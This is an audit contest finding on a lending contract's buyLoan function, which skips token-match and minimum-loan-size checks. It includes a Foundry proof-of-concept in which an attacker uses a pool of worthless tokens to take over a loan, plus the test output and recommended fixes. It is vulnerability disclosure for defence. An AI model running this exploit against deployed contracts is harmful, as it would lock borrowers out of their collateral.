20,000 USDC
View results
Submission Details
Severity: high
Valid

No check for matching tokens on `buyLoan` function

Summary

If a lender starts an auction on a loan, a malicious actor can cause a DOS on the loan, preventing the borrower from being able to access their collateral.

Vulnerability Details

After a lender starts an Auction for a loan, normally, in the refinance auction, anyone with a valid pool with tokens should be able to buy the loan. But the issue is, the buyLoans function doesn't check to make sure the loan token and collateral token matches the loan token and collateral token in the new poolId. The implication is, since the buyLoan function only checks the validity of the auction, the interest rate and the pool size, a malicious actor can create a pool with worthless loan and collateral tokens, and then buy the loan token.

Also, there is no check to ensure that the debt is above the minLoanSize of the pool, so even if the pool has a minLoanSize of 1000e18, a debt of 10 can be added to the pool.

Impact

This token mismatch and minLoanSize bypass breaks the core functionality of the system, allowing different tokens and debts to be placed in pools with conflicting parameters.

Tools Used

function test_buyLoanWrongTokens() public {
address attacker = address(4);
test_borrow();
console.log("The loan debt is: %s (%s)", lender.getLoanDebt(0), (lender.getLoanDebt(0)/1e18));
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
TERC20 worthlessLoanToken = new TERC20();
TERC20 worthlessCollateralToken = new TERC20();
worthlessLoanToken.mint(attacker, 100_000 * 10**18);
vm.startPrank(attacker);
worthlessLoanToken.approve(address(lender), 1000000*10**18);
worthlessCollateralToken.approve(address(lender), 1000000*10**18);
Pool memory p = Pool({
lender: attacker,
loanToken: address(worthlessLoanToken), // <- Contradicting token
collateralToken: address(worthlessCollateralToken), // <- Contradicting token
minLoanSize: 1000*10**18, // <- Min loan size is 1000e18.
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(,,,uint256 minLoanSize,,,,,) = lender.pools(poolId);
console.log("The minimum loan size is: %s (%s)", minLoanSize, (minLoanSize/1e18));
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
lender.buyLoan(0, poolId);
// assert that we paid the interest and new loan is in our name
assertEq(lender.getLoanDebt(0), 110*10**18);
(address newLender,,,,,,,,,) = lender.loans(0);
console.log("The new lender is: ", newLender);
assertEq(newLender, attacker);
vm.stopPrank();
}
jnrlouis@Jnrlouis:~/audits/2023-07-beedle$ forge test --match-test test_buyLoanWrongTokens -vv
[⠔] Compiling...
[⠰] Compiling 1 files with 0.8.19
[⠒] Solc 0.8.19 finished in 1.83s
Compiler run successful!
Running 1 test for test/Lender.t.sol:LenderTest
[PASS] test_buyLoanWrongTokens() (gas: 1962556)
Logs:
The loan debt is: 100000000000000000000 (100)
The minimum loan size is: 1000000000000000000000 (1000)
The new lender is: 0x0000000000000000000000000000000000000004
Test result: ok. 1 passed; 0 failed; finished in 14.49ms

Recommendations

Sufficient checks should be added to the buyLoan function to ensure the new pool has the same loan and collateral tokens as the loan. And also to ensure the minLoanSize is not bypassed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.